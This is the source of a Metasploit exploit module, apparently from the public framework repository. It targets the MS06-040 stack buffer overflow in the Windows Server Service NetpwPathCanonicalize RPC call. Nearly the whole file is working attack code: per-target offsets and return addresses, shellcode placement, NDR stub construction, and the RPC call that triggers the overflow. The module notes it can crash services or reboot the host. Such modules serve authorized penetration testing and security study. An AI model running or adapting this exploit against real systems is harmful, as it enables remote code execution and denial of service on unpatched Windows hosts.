modules/exploits/windows/smb/ms06_040_netapi.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
other RPC calls could be used to exploit this service. This exploit will result in
a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
will likely result in a complete reboot on Windows 2000 and the termination of all
SMB-related services on Windows XP. The default target for this exploit should succeed
on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-3439' ],
[ 'OSVDB', '27845' ],
[ 'BID', '19409' ],
[ 'MSB', 'MS06-040' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
# Technically we can use more space than this, but by limiting it
# to 370 bytes we can use the same request for all Windows SPs.
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
{
'Offset' => 1000,
'Ret' => 0x00020804
}
],
[ '(wcscpy) Windows XP SP0/SP1',
{
'Offset' => 612,
'Ret' => 0x00020804
}
],
[ '(stack) Windows XP SP1 English',
{
'OffsetA' => 656,
'OffsetB' => 680,
'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll
}
],
[ '(stack) Windows XP SP1 Italian',
{
'OffsetA' => 656,
'OffsetB' => 680,
'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll
}
],
[ '(wcscpy) Windows 2003 SP0',
{
'Offset' => 612,
'Ret' => 0x00020804
}
],
],
'Notes' =>
{
'Reliability' => [ UNRELIABLE_SESSION ],
'Stability' => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ]
},
'DisclosureDate' => '2006-08-08'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
])
deregister_options('SMB::ProtocolVersion')
end
def exploit
connect(versions: [1])
smb_login()
mytarget = target
if (not target) or (target.name =~ /Automatic/)
case smb_peer_os()
when 'Windows 5.0'
print_status("Detected a Windows 2000 target")
mytarget = targets[1]
when 'Windows NT 4.0'
print_status("Detected a Windows NT 4.0 target")
mytarget = targets[1]
when 'Windows 5.1'
begin
smb_create("\\SRVSVC")
print_status("Detected a Windows XP SP0/SP1 target")
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
print_status("Windows XP SP2 is not exploitable")
return
end
print_status("Detected a Windows XP target (unknown patch level)")
print_status("To exploit this system, \"set TARGET 2\" and run this exploit again")
end
return
when /Windows Server 2003 (\d+)$/
print_status("Detected a Windows 2003 SP0 target, but have not confirmed English language")
print_status("To exploit this system, \"set TARGET 5\" and run this exploit again")
# mytarget = targets[5]
return
when /Windows Server 2003 (\d+) Service Pack (\d+)/
print_status("Windows 2003 SP#{$2} is not exploitable")
return
when /Samba/
print_status("Samba is not vulnerable")
return
else
print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
return
end
end
# Specific fixups for Windows NT
case smb_peer_os()
when 'Windows NT 4.0'
print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
datastore['SMB::pipe_write_min_size'] = 2048
datastore['SMB::pipe_write_max_size'] = 4096
end
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
#
# /* Function 0x1f at 0x767e912c */
# long function_1f (
# [in] [unique] [string] wchar_t * arg_00,
# [in] [string] wchar_t * arg_01,
# [out] [size_is(arg_03)] char * arg_02,
# [in] [range(0, 64000)] long arg_03,
# [in] [string] wchar_t * arg_04,
# [in,out] long * arg_05,
# [in] long arg_06
# );
#
print_status("Building the stub data...")
stub = ''
case mytarget.name
# This covers NT 4.0 as well
when /wcscpy.*Windows 2000/
code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded
path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(250)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
NDR.long(rand(250)+1) +
NDR.long(0)
when /wcscpy.*Windows XP/
path =
# Payload goes first
payload.encoded +
# Padding
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
# Land 6 bytes in to bypass garbage (XP SP0)
[ mytarget.ret + 6 ].pack('V') +
# Padding
rand_text_alphanumeric(8) +
# Address to write our shellcode (XP SP0)
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(32) +
# Jump straight to shellcode (XP SP1)
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(8) +
# Address to write our shellcode (XP SP1)
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(32) +
# Terminate the path
"\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
when /stack/
buff = rand_text_alphanumeric(800)
buff[0, payload.encoded.length] = payload.encoded
buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V')
buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')
path = "\\\x00\\\x00" + buff + "\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
when /wcscpy.*Windows 2003/
path =
# Payload goes first
payload.encoded +
# Padding
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
# Padding
rand_text_alphanumeric(32) +
# The cookie is constant,
# noticed by Nicolas Pouvesle in Misc #28
"\x4e\xe6\x40\xbb" +
# Padding
rand_text_alphanumeric(4) +
# Jump straight to shellcode
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(8) +
# Address to write our shellcode
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(40) +
# Terminate the path
"\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
end
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x1f, stub, false)
dcerpc.call(0x1f, stub, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end